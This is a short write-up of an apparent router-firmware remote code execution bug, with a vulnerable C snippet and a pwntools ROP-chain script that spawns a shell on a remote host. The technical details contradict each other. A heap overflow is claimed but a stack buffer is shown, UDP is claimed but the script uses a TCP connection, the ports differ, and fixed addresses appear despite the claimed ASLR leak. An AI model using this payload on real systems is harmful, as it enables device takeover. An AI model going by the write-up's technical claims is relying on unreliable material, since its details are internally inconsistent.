Operation: Signal Breach

In this writeup, we’ll explore the technical details behind the discovery and exploitation of CVE-2026-X, a critical remote code execution vulnerability affecting the core signaling protocol of several high-end router models.

◈ Initial Reconnaissance

The vulnerability lies in how the service handles malformed UDP packets during the initial handshake. By sending a specifically crafted payload, we can trigger a buffer overflow in the heap.

// Vulnerable code snippet found in the firmware's signaling module
void handle_handshake(uint8_t *data, size_t len) {
    char buffer[512];
    if (data[0] == HANDSHAKE_START) {
        // Missing length check before copy!
        memcpy(buffer, data + 1, len - 1);
    }
}

◈ Exploitation Strategy

To achieve reliable RCE, we need to bypass several modern mitigations:

1. ASLR: We used a memory leak in the diagnostic port to find the base address of libc.
2. DEP/NX: Since the stack is non-executable, we’ll build a ROP chain.

The ROP Chain

Our goal is to call system("/bin/sh"). Here’s the layout of our payload:

from pwn import *

# Gadgets found using ROPgadget
pop_rdi = 0x401234  # pop rdi; ret
bin_sh  = 0x402000  # address of "/bin/sh" string
system  = 0x401050  # address of system()

payload = b"A" * 520  # offset to return address
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

# Send the payload
io = remote("target.khaos.io", 1337)
io.send(payload)
io.interactive()

◈ Impact and Mitigation

This vulnerability allows an unauthenticated attacker to gain full control over the network infrastructure. We recommend the following immediate actions:

• Disable the signaling service if not required.
• Apply the vendor-provided patch (v2.4.1+).
• Monitor for unusual UDP traffic on port 5000.

“The quietest noise is often the loudest signal.” — Khaos Collective